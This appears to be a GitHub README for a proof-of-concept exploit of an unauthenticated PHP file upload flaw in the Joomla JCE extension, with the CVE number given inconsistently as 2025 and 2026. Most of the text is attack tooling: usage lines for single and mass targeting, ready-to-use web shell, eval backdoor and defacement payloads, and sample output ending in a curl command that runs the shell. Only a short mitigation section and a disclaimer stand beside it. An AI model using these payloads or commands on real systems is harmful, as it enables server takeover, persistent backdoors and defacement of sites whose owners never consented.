0xgh057r3c0n/cve-2026-48907CVE-2025-48907 - Unauthenticated RCE exploit for Joomla JCE < 2.9.99.5
http.component:"Joomla"
app="Joomla"
This repository contains a proof-of-concept (PoC) exploit for CVE-2026-48907, a critical vulnerability in the Joomla! JCE (Joomla Content Editor) extension versions prior to 2.9.99.5. The vulnerability allows unauthenticated attackers to upload arbitrary PHP files via the JCE profile import functionality, leading to Remote Code Execution (RCE).
This tool is for educational and authorized testing purposes only.
- Use only on systems you own or have explicit permission to test
- The author is not responsible for any misuse or illegal activities
- Always obtain proper authorization before testing
| Property | Value |
|---|---|
| CVE ID | CVE-2026-48907 |
| Product | Joomla! JCE Extension |
| Affected Versions | < 2.9.99.5 |
| Vulnerability Type | Unauthenticated PHP File Upload → RCE |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Authentication | None Required |
| Impact | Complete System Compromise |
index.php?option=com_jce&task=profiles.import)/tmp/ directory and can be executed via direct access# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Install required dependencies
pip3 install requests urllib3
requests libraryurllib3 librarypython3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
| Argument | Required | Description |
|---|---|---|
-u, --url | Yes* | Single target URL (e.g., http://target.com) |
-f, --file | Yes* | File containing list of target URLs (one per line) |
-F, --upload-file | Yes | PHP file to upload (shell, backdoor, deface page) |
-v, --verbose | No | Enable verbose output for debugging |
-o, --output | No | Save successful upload URLs to file |
* Either -u or -f must be provided
Create a targets.txt file with one URL per line:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comments are ignored
https://example-joomla.com
All payloads must be PHP files since the exploit uploads PHP code that will be executed on the server.
Create shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
Create deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Create backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)
[*] Loaded 3 target(s)
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...
============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================
[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/ directoryindex.php?option=com_jce&task=profiles.import requests.xml.php extension in /tmp//tmp/ directoryUpdate JCE Extension:
Temporary Workarounds:
/tmp/ directoryallow_url_fopen if not requiredPost-Compromise Actions:
/tmp/This project is licensed under the MIT License - see the LICENSE file for details.
Contributions are welcome! Please feel free to submit a Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)If you find this tool useful, please consider giving it a star ⭐ on GitHub!